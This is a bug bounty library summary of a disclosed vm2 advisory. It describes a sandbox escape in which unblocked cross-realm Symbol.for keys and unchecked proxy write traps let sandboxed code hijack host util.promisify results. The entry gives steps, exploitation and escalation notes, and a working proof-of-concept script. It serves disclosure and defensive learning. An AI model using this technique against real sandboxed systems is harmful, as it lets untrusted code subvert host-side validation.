# vm2 has a sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks

vm2's Symbol.for override blocked only 2 of 9 Node.js cross-realm symbols and bridge write traps lacked symbol checks, letting sandbox code hijack host util.promisify behavior.

- Payout: Research
- Severity: high
- Program: vm2
- Found by: q1uf3ng
- Disclosed: 2026-05-29
- CVE: CVE-2026-47135
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-m5q2-4fm3-vfqp
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-m5q2-4fm3-vfqp
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:sandbox-escape

**Target:** vm2 sandbox bridge (setup-sandbox.js Symbol.for override and bridge.js proxy traps)
**Root cause:** setup-sandbox.js Symbol.for override only blocks inspect.custom and rejection, passing 7 other nodejs.* symbols through as real cross-realm symbols; bridge.js set/defineProperty/deleteProperty traps lack isDangerousCrossRealmSymbol checks that get/ownKeys have.
**Steps:**
1. Create VM, expose host function: `vm.setGlobal('hostFn', hostFn)`
2. In sandbox: `const kPromisify = Symbol.for('nodejs.util.promisify.custom');`
3. Assign sandbox function: `hostFn[kPromisify] = function(path){ return Promise.resolve('HIJACKED by sandbox'); }`
4. Host side: `util.promisify(hostFn)('/etc/passwd')` returns sandbox-controlled value
**How found:** Code review of setup-sandbox.js Symbol.for override noticing only 2 of 9 nodejs.* symbols blocked, then comparing bridge.js traps and finding get/ownKeys check isDangerousCrossRealmSymbol but set/defineProperty/deleteProperty do not.
**Exploitation:** Sandbox code obtains real cross-realm symbols via unblocked Symbol.for, writes them onto host objects through the bridge's unchecked set/defineProperty/deleteProperty traps, then controls host-side behavior such as util.promisify results, stream duck-typing, and WebStream internals.
**Escalation:** Chained with host API patterns relying on promisified results or stream type checks to bypass host-side input validation; not direct RCE since bridge still wraps sandbox functions.
**Insight:** When a sandbox blocks a set of magic symbols, enumerate the full Node.js internal symbol list (promisify.custom, stream.*, webstream.*) and verify every proxy trap — not just get/ownKeys — enforces the same denylist; write traps are commonly forgotten.

## Proof of concept (copied exactly from the original report)

**util.promisify hijack PoC via Symbol.for**

```
const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function readFile(path, cb) { cb(null, 'real data'); };
vm.setGlobal('hostFn', hostFn);

// Sandbox writes promisify.custom to host function
vm.run(`
  const kPromisify = Symbol.for('nodejs.util.promisify.custom');
  hostFn[kPromisify] = function(path) {
    return Promise.resolve('HIJACKED by sandbox');
  };
`);

// Host-side: promisified function now returns sandbox-controlled value
const asyncRead = util.promisify(hostFn);
asyncRead('/etc/passwd').then(console.log);
// Output: "HIJACKED by sandbox"
```

